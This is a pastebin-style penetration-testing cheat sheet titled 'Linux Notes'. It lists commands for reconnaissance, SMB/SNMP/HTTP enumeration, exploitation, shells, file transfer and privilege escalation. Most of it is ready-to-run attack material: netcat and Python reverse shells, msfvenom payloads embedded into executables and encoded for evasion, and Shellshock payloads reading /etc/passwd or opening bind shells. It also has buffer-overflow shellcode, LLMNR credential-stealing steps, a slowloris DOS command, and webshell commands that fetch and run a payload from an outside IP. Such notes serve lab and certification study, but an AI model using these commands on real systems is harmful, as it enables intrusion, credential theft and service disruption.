Linux Notes


SUBMITTED BY: DevilDawg

DATE: Feb. 25, 2022, 12:48 p.m.

FORMAT: Text only

SIZE: 58.4 kB

HITS: 651

  1. Linux 101
  2. Set the Target IP Address to the $ip system variable
  3. $ export ip=192.168.1.100
  4. Find the location of a file
  5. $ locate sbd.exe
  6. Search through directories in the $PATH environment variable
  7. $ which sbd
  8. Find a search for a file that contains a specific string in it’s name
  9. $ find / -name sbd\*
  10. Show active internet connections
  11. $ netstat -lntp
  12. Change Password
  13. $ passwd
  14. Verify a service is running and listening
  15. $ netstat -antp |grep apache
  16. Start a service
  17. $ systemctl start ssh
  18. $ systemctl start apache2
  19. Unzip a gz file
  20. $ gunzip access.log.gz
  21. Unzip a tar.gz file
  22. $ tar -xzvf file.tar.gz
  23. Search command history
  24. history | grep phrase\_to\_search\_for
  25. Have a service start at boot
  26. systemctl enable ssh
  27. Stop a service
  28. systemctl stop ssh
  29. Download a webpage
  30. wget [www.cisco.com](http://www.cisco.com)
  31. Open a webpage
  32. `curl www.cisco.com
  33. String manipulation
  34. Count number of lines in file
  35. wc index.html
  36. Get the start or end of a file
  37. head index.html tail index.html
  38. Extract all the lines that contain a string
  39. grep "href=" index.html
  40. Cut a string by a delimiter, filter results then sort
  41. grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u
  42. Using Grep and regular expressions and output to a file
  43. cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt
  44. Use a bash loop to find the IP address behind each host
  45. for url in $(cat list.txt); do host $url; done
  46. Collect all the IP Addresses from a log file and sort by frequency
  47. cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
  48. Netcat - Read and write TCP and UDP Packets
  49. Connect to a POP3 mail server
  50. nc -nv $ip 110
  51. Listen on TCP/UDP port
  52. nc -nlvp 4444
  53. Connect to a netcat port
  54. nc -nv $ip 4444
  55. Send a file using netcat
  56. nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe
  57. Receive a file using netcat
  58. nc -nlvp 4444 > incoming.exe
  59. Create a reverse shell with Ncat using cmd.exe on Windows
  60. nc -nlvp 4444 -e cmd.exe
  61. Create a reverse shell with Ncat using bash on Linux
  62. nc -nv $ip 4444 -e /bin/bash
  63. Ncat - Netcat for Nmap project which provides more security avoid IDS
  64. Reverse shell from windows using cmd.exe using ssl
  65. ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl
  66. Listen on port 4444 using ssl
  67. ncat -v $ip 4444 --ssl
  68. Wireshark
  69. Show only SMTP (port 25) and ICMP traffic: tcp.port eq 25 or icmp
  70. Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet: ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16
  71. Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs: ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip
  72. Some commands are equal ip.addr == 10.43.54.65 Equals ip.src == 10.43.54.65 or ip.dst == 10.43.54.65
  73. ip.addr != 10.43.54.65 Equals ip.src != 10.43.54.65 or ip.dst != 10.43.54.65
  74. Tcpdump
  75. Display a pcap file
  76. tcpdump -r password\_cracking\_filtered.pcap
  77. Display ips and filter and sort
  78. tcpdump -n -r password\_cracking\_filtered.pcap | awk -F" " '{print $3}' | sort -u | head
  79. Grab a packet capture on port 80
  80. tcpdump tcp port 80 -w output.pcap -i eth0
  81. Check for ACK or PSH flag set in a TCP packet
  82. tcpdump -A -n 'tcp\[13\] = 24' -r password\_cracking\_filtered.pcap
  83. IPTables deny traffic to ports except for Local Loopback
  84. iptables -A INPUT -p tcp --destination-port 13327 \\! -d $ip -j DROP
  85. iptables -A INPUT -p tcp --destination-port 4444 \\! -d $ip -j DROP
  86. Information Gathering & Vulnerability Scanning
  87. Passive Information Gathering
  88. Google Hacking
  89. Google search to find website sub domains
  90. site:microsoft.com site:[www.microsoft.com](http://www.microsoft.com)
  91. Google filetype, and intitle
  92. intitle:”netbotz appliance” “OK” -filetype:pdf
  93. Google inurl
  94. inurl:”level/15/sexec/-/show”
  95. Google Hacking Database:
  96. https://www.exploit-db.com/google-hacking-database/
  97. SSL Certificate Testing
  98. https://www.ssllabs.com/ssltest/analyze.html
  99. Email Harvesting
  100. Simply Email
  101. git clone https://github.com/killswitch-GUI/SimplyEmail.git ./SimplyEmail.py -all -e TARGET-DOMAIN
  102. Netcraft
  103. Determine the operating system and tools used to build a site
  104. https://searchdns.netcraft.com/
  105. Whois Enumeration
  106. whois domain-name-here.com whois $ip
  107. Banner Grabbing
  108. nc -v $ip 25
  109. telnet $ip 25
  110. nc TARGET-IP 80
  111. Recon-ng - full-featured web reconnaissance framework written in Python
  112. cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git cd /opt/recon-ng ./recon-ng show modules help
  113. Active Information Gathering
  114. DNS Enumeration
  115. Host Lookup
  116. host -t ns megacorpone.com
  117. Reverse Lookup Brute Force - find domains in the same range
  118. for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
  119. Perform DNS IP Lookup
  120. dig a domain-name-here.com @nameserver
  121. Perform MX Record Lookup
  122. dig mx domain-name-here.com @nameserver
  123. Perform Zone Transfer with DIG
  124. dig axfr domain-name-here.com @nameserver
  125. DNS Zone Transfers
  126. Windows DNS zone transfer
  127. nslookup -> set type=any -> ls -d blah.com Linux DNS zone transfer
  128. dig axfr blah.com @ns1.blah.com
  129. Dnsrecon DNS Brute Force
  130. dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
  131. Dnsrecon DNS List of megacorp
  132. dnsrecon -d megacorpone.com -t axfr
  133. DNSEnum
  134. dnsenum zonetransfer.me
  135. Port Scanning
  136. Subnet Reference Table
  137. / Addresses Hosts Netmask Amount of a Class C
  138. /30 4 2 255.255.255.252 1/64
  139. /29 8 6 255.255.255.248 1/32
  140. /28 16 14 255.255.255.240 1/16
  141. /27 32 30 255.255.255.224 1/8
  142. /26 64 62 255.255.255.192 1/4
  143. /25 128 126 255.255.255.128 1/2
  144. /24 256 254 255.255.255.0 1
  145. /23 512 510 255.255.254.0 2
  146. /22 1024 1022 255.255.252.0 4
  147. /21 2048 2046 255.255.248.0 8
  148. /20 4096 4094 255.255.240.0 16
  149. /19 8192 8190 255.255.224.0 32
  150. /18 16384 16382 255.255.192.0 64
  151. /17 32768 32766 255.255.128.0 128
  152. /16 65536 65534 255.255.0.0 256
  153. Set the ip address as a varble
  154. export ip=192.168.1.100 nmap -A -T4 -p- $ip
  155. Netcat port Scanning
  156. nc -nvv -w 1 -z $ip 3388-3390
  157. Discover who else is on the network
  158. netdiscover
  159. Discover IP Mac and Mac vendors from ARP
  160. netdiscover -r $ip/24
  161. Nmap stealth scan using SYN
  162. nmap -sS $ip
  163. Nmap stealth scan using FIN
  164. nmap -sF $ip
  165. Nmap Banner Grabbing
  166. nmap -sV -sT $ip
  167. Nmap OS Fingerprinting
  168. nmap -O $ip
  169. Nmap Regular Scan:
  170. nmap $ip/24
  171. Enumeration Scan
  172. nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt
  173. Enumeration Scan All Ports TCP / UDP and output to a txt file
  174. nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip
  175. Nmap output to a file:
  176. nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24
  177. Quick Scan:
  178. nmap -T4 -F $ip/24
  179. Quick Scan Plus:
  180. nmap -sV -T4 -O -F --version-light $ip/24
  181. Quick traceroute
  182. nmap -sn --traceroute $ip
  183. All TCP and UDP Ports
  184. nmap -v -sU -sS -p- -A -T4 $ip
  185. Intense Scan:
  186. nmap -T4 -A -v $ip
  187. Intense Scan Plus UDP
  188. nmap -sS -sU -T4 -A -v $ip/24
  189. Intense Scan ALL TCP Ports
  190. nmap -p 1-65535 -T4 -A -v $ip/24
  191. Intense Scan - No Ping
  192. nmap -T4 -A -v -Pn $ip/24
  193. Ping scan
  194. nmap -sn $ip/24
  195. Slow Comprehensive Scan
  196. nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24
  197. Scan with Active connect in order to weed out any spoofed ports designed to troll you
  198. nmap -p1-65535 -A -T5 -sT $ip
  199. Enumeration
  200. NMap Enumeration Script List:
  201. NMap Discovery
  202. https://nmap.org/nsedoc/categories/discovery.html
  203. Nmap port version detection MAXIMUM power
  204. nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>
  205. SMB Enumeration
  206. SMB OS Discovery
  207. nmap $ip --script smb-os-discovery.nse
  208. Nmap port scan
  209. nmap -v -p 139,445 -oG smb.txt $ip-254
  210. Netbios Information Scanning
  211. nbtscan -r $ip/24
  212. Nmap find exposed Netbios servers
  213. nmap -sU --script nbstat.nse -p 137 $ip
  214. SMB Enumeration Tools
  215. nmblookup -A $ip smbclient //MOUNT/share -I $ip -N rpcclient -U "" $ip enum4linux $ip enum4linux -a $ip
  216. SMB Finger Printing
  217. smbclient -L //$ip
  218. Nmap Scan for Open SMB Shares
  219. nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 $ip/24
  220. Nmap scans for vulnerable SMB Servers
  221. nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip
  222. Nmap List all SMB scripts installed
  223. ls -l /usr/share/nmap/scripts/smb\*
  224. Enumerate SMB Users
  225. nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14
  226. python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip
  227. RID Cycling - Null Sessions
  228. https://www.trustedsec.com/march-2013/new-tool-release-rpc_enum-rid-cycling-attack/
  229. ridenum.py $ip 500 50000 dict.txt
  230. use auxiliary/scanner/smb/smb\_lookupsid
  231. Manual Null Session Testing
  232. Windows: net use \\\\$ip\\IPC$ "" /u:""
  233. Linux: smbclient -L //$ip
  234. LLMNR / NBT-NS Spoofing - Steal credentials off the network.
  235. Spoof / poison LLMNR / NetBIOS requests:
  236. auxiliary/spoof/llmnr/llmnr_response
  237. auxiliary/spoof/nbns/nbns_response
  238. Capture the hashes:
  239. auxiliary/server/capture/smb
  240. auxiliary/server/capture/http_ntlm
  241. Using Responder to Steal Creds
  242. git clone https://github.com/SpiderLabs/Responder.git python Responder.py -i local-ip -I eth0
  243. SMTP Enumeration - Mail Severs
  244. Verify SMTP port using Netcat
  245. nc -nv $ip 25
  246. SNMP Enumeration -Simple Network Management Protocol
  247. Fix SNMP output values so they are human readable
  248. apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf
  249. SNMP Enumeration Commands
  250. snmpcheck -t $ip -c public
  251. snmpwalk -c public -v1 $ip 1|
  252. grep hrSWRunName|cut -d\* \* -f
  253. snmpenum -t $ip
  254. onesixtyone -c names -i hosts
  255. SNMPv3 Enumeration
  256. nmap -sV -p 161 --script=snmp-info $ip/24
  257. Automate the username enumeration process for SNMPv3:
  258. apt-get install snmp snmp-mibs-downloader wget <https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb>
  259. SNMP Default Credentials
  260. /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
  261. Linux OS Enumeration
  262. List all SUID files
  263. find / -perm -4000 2&gt;/dev/null
  264. Determine the current version of Linux
  265. cat /etc/issue
  266. Determine more information about the environment
  267. uname -a
  268. List processes running
  269. ps -xaf
  270. List the allowed (and forbidden) commands for the invoking use
  271. sudo -l
  272. List iptables rules
  273. iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security
  274. Windows OS Enumeration
  275. net config Workstation
  276. systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  277. hostname
  278. net users
  279. ipconfig /all
  280. route print
  281. arp -A
  282. netstat -ano
  283. netsh firewall show state
  284. netsh firewall show config
  285. schtasks /query /fo LIST /v
  286. tasklist /SVC
  287. net start
  288. DRIVERQUERY
  289. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  290. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  291. dir /s pass == cred == vnc == .config
  292. findstr /si password *.xml *.ini *.txt
  293. reg query HKLM /f password /t REG_SZ /s
  294. reg query HKCU /f password /t REG_SZ /s
  295. Vulnerability Scanning with Nmap
  296. Nmap Exploit Scripts
  297. https://nmap.org/nsedoc/categories/exploit.html
  298. Nmap search through vulnerability scripts
  299. cd /usr/share/nmap/scripts/ ls -l \*vuln\*
  300. Nmap search through Nmap Scripts for a specific keyword
  301. ls /usr/share/nmap/scripts/\* | grep ftp
  302. Scan for vulnerable exploits with nmap
  303. nmap --script exploit -Pn $ip
  304. NMap Auth Scripts
  305. https://nmap.org/nsedoc/categories/auth.html
  306. Nmap Vuln Scanning
  307. https://nmap.org/nsedoc/categories/vuln.html
  308. NMap DOS Scanning
  309. nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true
  310. Scan for coldfusion web vulnerabilities
  311. nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip
  312. Anonymous FTP dump with Nmap
  313. nmap -v -p 21 --script=ftp-anon.nse $ip-254
  314. SMB Security mode scan with Nmap
  315. nmap -v -p 21 --script=ftp-anon.nse $ip-254
  316. File Enumeration
  317. Find UID 0 files root execution
  318. /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2&gt;/dev/null
  319. Get handy linux file system enumeration script (/var/tmp)
  320. wget <https://highon.coffee/downloads/linux-local-enum.sh> chmod +x ./linux-local-enum.sh ./linux-local-enum.sh
  321. Find executable files updated in August
  322. find / -executable -type f 2&gt; /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug
  323. Find a specific file on linux
  324. find /. -name suid\*
  325. Find all the strings in a file
  326. strings &lt;filename&gt;
  327. Determine the type of a file
  328. file &lt;filename&gt;
  329. HTTP Enumeration
  330. Search for folders with gobuster:
  331. gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip
  332. OWasp DirBuster - Http folder enumeration - can take a dictionary file
  333. Dirb - Directory brute force finding using a dictionary file
  334. dirb http://$ip/ wordlist.dict dirb <http://vm/>
  335. Dirb against a proxy
  336. dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129
  337. Nikto
  338. nikto -h $ip
  339. HTTP Enumeration with NMAP
  340. nmap --script=http-enum -p80 -n $ip/24
  341. Nmap Check the server methods
  342. nmap --script http-methods --script-args http-methods.url-path='/test' $ip
  343. Get Options available from web server curl -vX OPTIONS vm/test
  344. Uniscan directory finder:
  345. uniscan -qweds -u <http://vm/>
  346. Wfuzz - The web brute forcer
  347. wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"
  348. Open a service using a port knock (Secured with Knockd)
  349. for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done
  350. WordPress Scan - Wordpress security scanner
  351. wpscan --url $ip/blog --proxy $ip:3129
  352. RSH Enumeration - Unencrypted file transfer system
  353. auxiliary/scanner/rservices/rsh_login
  354. Finger Enumeration
  355. finger @$ip
  356. finger batman@$ip
  357. TLS & SSL Testing
  358. ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html
  359. Proxy Enumeration (useful for open proxies)
  360. nikto -useproxy http://$ip:3128 -h $ip
  361. Steganography
  362. apt-get install steghide
  363. steghide extract -sf picture.jpg
  364. steghide info picture.jpg
  365. apt-get install stegosuite
  366. The OpenVAS Vulnerability Scanner
  367. apt-get update
  368. apt-get install openvas
  369. openvas-setup
  370. netstat -tulpn
  371. Login at:
  372. https://$ip:9392
  373. Buffer Overflows and Exploits
  374. DEP and ASLR - Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)
  375. MSFvenom
  376. https://www.offensive-security.com/metasploit-unleashed/msfvenom/
  377. Windows Buffer Overflows
  378. Controlling EIP
  379. locate pattern_create
  380. pattern_create.rb -l 2700
  381. locate pattern_offset
  382. pattern_offset.rb -q 39694438
  383. Verify exact location of EIP - [*] Exact match at offset 2606
  384. buffer = "A" * 2606 + "B" * 4 + "C" * 90
  385. Check for “Bad Characters” - Run multiple times 0x00 - 0xFF
  386. Use Mona to determine a module that is unprotected
  387. Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP
  388. Otherwise without DEP, we can stick our
  389. Use NASM to determine the HEX code for a JMP ESP instruction
  390. /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
  391. JMP ESP
  392. 00000000 FFE4 jmp esp
  393. Run Mona in immunity log window to find (FFE4) XEF command
  394. !mona find -s "\xff\xe4" -m slmfc.dll
  395. found at 0x5f4a358f - Flip around for little endian format
  396. buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390
  397. MSFVenom to create payload
  398. msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
  399. Final Payload with NOP slide
  400. buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
  401. Create a PE Reverse Shell
  402. msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
  403. exe -o shell_reverse.exe
  404. Create a PE Reverse Shell and Encode 9 times with Shikata_ga_nai
  405. msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
  406. exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
  407. Create a PE reverse shell and embed it into an existing executable
  408. msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
  409. Create a PE Reverse HTTPS shell
  410. msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe
  411. Linux Buffer Overflows
  412. Run Evans Debugger against an app
  413. edb --run /usr/games/crossfire/bin/crossfire
  414. ESP register points toward the end of our CBuffer
  415. add eax,12
  416. jmp eax
  417. 83C00C add eax,byte +0xc
  418. FFE0 jmp eax
  419. Check for “Bad Characters” Process of elimination - Run multiple times 0x00 - 0xFF
  420. Find JMP ESP address
  421. "\x97\x45\x13\x08" # Found at Address 08134597
  422. crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
  423. msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai
  424. Connect to the shell with netcat:
  425. nc -v $ip 4444
  426. Shells
  427. Netcat Shell Listener
  428. nc -nlvp 443
  429. Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user. (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell ) (hint: sudo -l to see what you can run)
  430. python -c 'import pty; pty.spawn("/bin/sh")'
  431. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  432. echo os.system('/bin/bash')
  433. /bin/sh -i
  434. perl —e 'exec "/bin/sh";'
  435. perl: exec "/bin/sh";
  436. ruby: exec "/bin/sh"
  437. lua: os.execute('/bin/sh')
  438. (From within IRB)
  439. exec "/bin/sh"
  440. (From within vi)
  441. :!bash
  442. From within vim
  443. Breaking out of vim is done by ':!bash':
  444. (From within vi)
  445. :set shell=/bin/bash:shell
  446. (From within nmap)
  447. !sh
  448. (From within tcpdump)
  449. echo $’id\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test
  450. chmod +x /tmp/.test
  451. sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root
  452. from busybox
  453. /bin/busybox telnetd -|/bin/sh -p9999
  454. Pen test monkey PHP reverse shell
  455. http://pentestmonkey.net/tools/web-shells/php-reverse-shel
  456. php-findsock-shell - turns PHP port 80 into an interactive shell
  457. http://pentestmonkey.net/tools/web-shells/php-findsock-shell
  458. Perl Reverse Shell
  459. http://pentestmonkey.net/tools/web-shells/perl-reverse-shell
  460. PHP powered web browser Shell b374k with file upload etc.
  461. https://github.com/b374k/b374k
  462. Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shell https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
  463. Web Backdoors from Fuzzdb ( https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors
  464. Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/
  465. Linux
  466. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
  467. Windows
  468. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
  469. Mac
  470. msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
  471. Web Payloads
  472. PHP
  473. msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
  474. cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
  475. ASP
  476. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
  477. JSP
  478. msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
  479. WAR
  480. msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
  481. Scripting Payloads
  482. Python
  483. msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
  484. Bash
  485. msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
  486. Perl
  487. msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
  488. Shellcode
  489. For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
  490. Linux Based Shellcode
  491. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f
  492. Windows Based Shellcode
  493. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f
  494. Mac Based Shellcode
  495. msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f
  496. Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
  497. use exploit/multi/handler
  498. set PAYLOAD
  499. set LHOST
  500. set LPORT
  501. set ExitOnSession false
  502. exploit -j -z
  503. Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘
  504. SSH to Meterpreter:
  505. use auxiliary/scanner/ssh/ssh_login
  506. use post/multi/manage/shell_to_meterpreter
  507. https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/
  508. Compiling Windows Exploits on Kali
  509. wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
  510. wine mingw-get-setup.exe
  511. select mingw32-base
  512. cd /root/.wine/drive_c/windows
  513. wget http://gojhonny.com/misc/mingw\_bin.zip && unzip mingw_bin.zip
  514. cd /root/.wine/drive_c/MinGW/bin
  515. wine gcc -o ability.exe /tmp/exploit.c -lwsock32
  516. wine ability.exe
  517. Cross Compiling Exploits
  518. gcc -m32 -o output32 hello.c (32 bit)
  519. gcc -m64 -o output hello.c (64 bit)
  520. Shellshock
  521. git clone https://github.com/nccgroup/shocker
  522. ./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
  523. Shell Shock SSH Forced Command
  524. Check for forced command by enabling all debug output with ssh
  525. ssh -vvv
  526. ssh -i noob noob@$ip '() { :;}; /bin/bash'
  527. cat file (view file contents)
  528. echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
  529. Shell Shock run bind shell
  530. echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
  531. Shell Shock reverse Shell
  532. nc -l -p 443
  533. Buffer Overflow Exploits
  534. Pass 1000 A’s as a parameter
  535. ./r00t $(python -c 'print "A" * 1000')
  536. Random Pattern Create
  537. /usr/share/metasploit-framework/tools# ruby pattern_create.rb 1000
  538. Determine Pattern offset
  539. ruby pattern_offset.rb 0x6a413969
  540. Pass shell with offset value
  541. env - ./r00t $(python -c 'print "A"*268 + "\x80\xfc\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
  542. # id
  543. From Fuzzing to Zero Day
  544. https://blog.techorganic.com/2014/05/14/from-fuzzing-to-0-day/
  545. Nmap Fuzzers:
  546. NMap Fuzzer List
  547. https://nmap.org/nsedoc/categories/fuzzer.html
  548. NMap HTTP Form Fuzzer
  549. nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip
  550. Nmap DNS Fuzzer
  551. nmap --script dns-fuzz --script-args timelimit=2h $ip -d
  552. File Transfers
  553. Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target.
  554. Simple Local Web Servers
  555. Run a basic http server, great for serving up shells etc
  556. python -m SimpleHTTPServer 80
  557. Run a basic Python3 http server, great for serving up shells etc
  558. python3 -m http.server
  559. Run a ruby webrick basic http server
  560. ruby -rwebrick -e "WEBrick::HTTPServer.new
  561. (:Port => 80, :DocumentRoot => Dir.pwd).start"
  562. Run a basic PHP http server
  563. php -S $ip:80
  564. Creating a wget VB Script on Windows:
  565. https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt
  566. Mounting File Shares
  567. Mount NFS share to /mnt/nfs
  568. mount $ip:/vol/share /mnt/nfs
  569. HTTP Put
  570. nmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php
  571. Uploading Files
  572. SCP
  573. scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2
  574. scp localfile username@$ip:~/Folder/
  575. Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor
  576. davtest -move -sendbd auto -url http://$ip
  577. https://github.com/cldrn/davtest
  578. You can also upload a file using the PUT method with the curl command:
  579. curl -T 'leetshellz.txt' 'http://$ip'
  580. And rename it to an executable file using the MOVE method with the curl command:
  581. curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'
  582. Upload shell using limited php shell cmd
  583. use the webshell to download and execute the meterpreter
  584. [curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php
  585. [curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php
  586. curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php
  587. TFTP
  588. mkdir /tftp
  589. atftpd --daemon --port 69 /tftp
  590. cp /usr/share/windows-binaries/nc.exe /tftp/
  591. EX. FROM WINDOWS HOST:
  592. C:\Users\Offsec>tftp -i $ip get nc.exe
  593. FTP
  594. apt-get update && apt-get install pure-ftpd
  595. #!/bin/bash
  596. groupadd ftpgroup
  597. useradd -g ftpgroup -d /dev/null -s /etc ftpuser
  598. pure-pw useradd offsec -u ftpuser -d /ftphome
  599. pure-pw mkdb
  600. cd /etc/pure-ftpd/auth/
  601. ln -s ../conf/PureDB 60pdb
  602. mkdir -p /ftphome
  603. chown -R ftpuser:ftpgroup /ftphome/
  604. /etc/init.d/pure-ftpd restart
  605. Packing Files
  606. Ultimate Packer for eXecutables
  607. upx -9 nc.exe
  608. exe2bat - Converts EXE to a text file that can be copied and pasted
  609. locate exe2bat
  610. wine exe2bat.exe nc.exe nc.txt
  611. Veil - Evasion Framework - https://github.com/Veil-Framework/Veil-Evasion
  612. apt-get -y install git
  613. git clone https://github.com/Veil-Framework/Veil-Evasion.git
  614. cd Veil-Evasion/
  615. cd setup
  616. setup.sh -c
  617. Privilege Escalation
  618. Linux Privilege Escalation
  619. Try the obvious - Maybe the user can sudo to root:
  620. sudo su
  621. Highon.coffee Linux Local Enum wget https://highon.coffee/downloads/linux-local-enum.sh
  622. Basic Linux Privilege Escalation
  623. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  624. Linux Privilege Exploit Suggester
  625. https://github.com/PenturaLabs/Linux_Exploit_Suggester
  626. Linux post exploitation enumeration and exploit checking tools
  627. https://github.com/reider-roque/linpostexp
  628. CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
  629. https://www.exploit-db.com/exploits/15285/
  630. CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
  631. https://git.zx2c4.com/CVE-2012-0056/about/
  632. Linux CVE 2012-0056
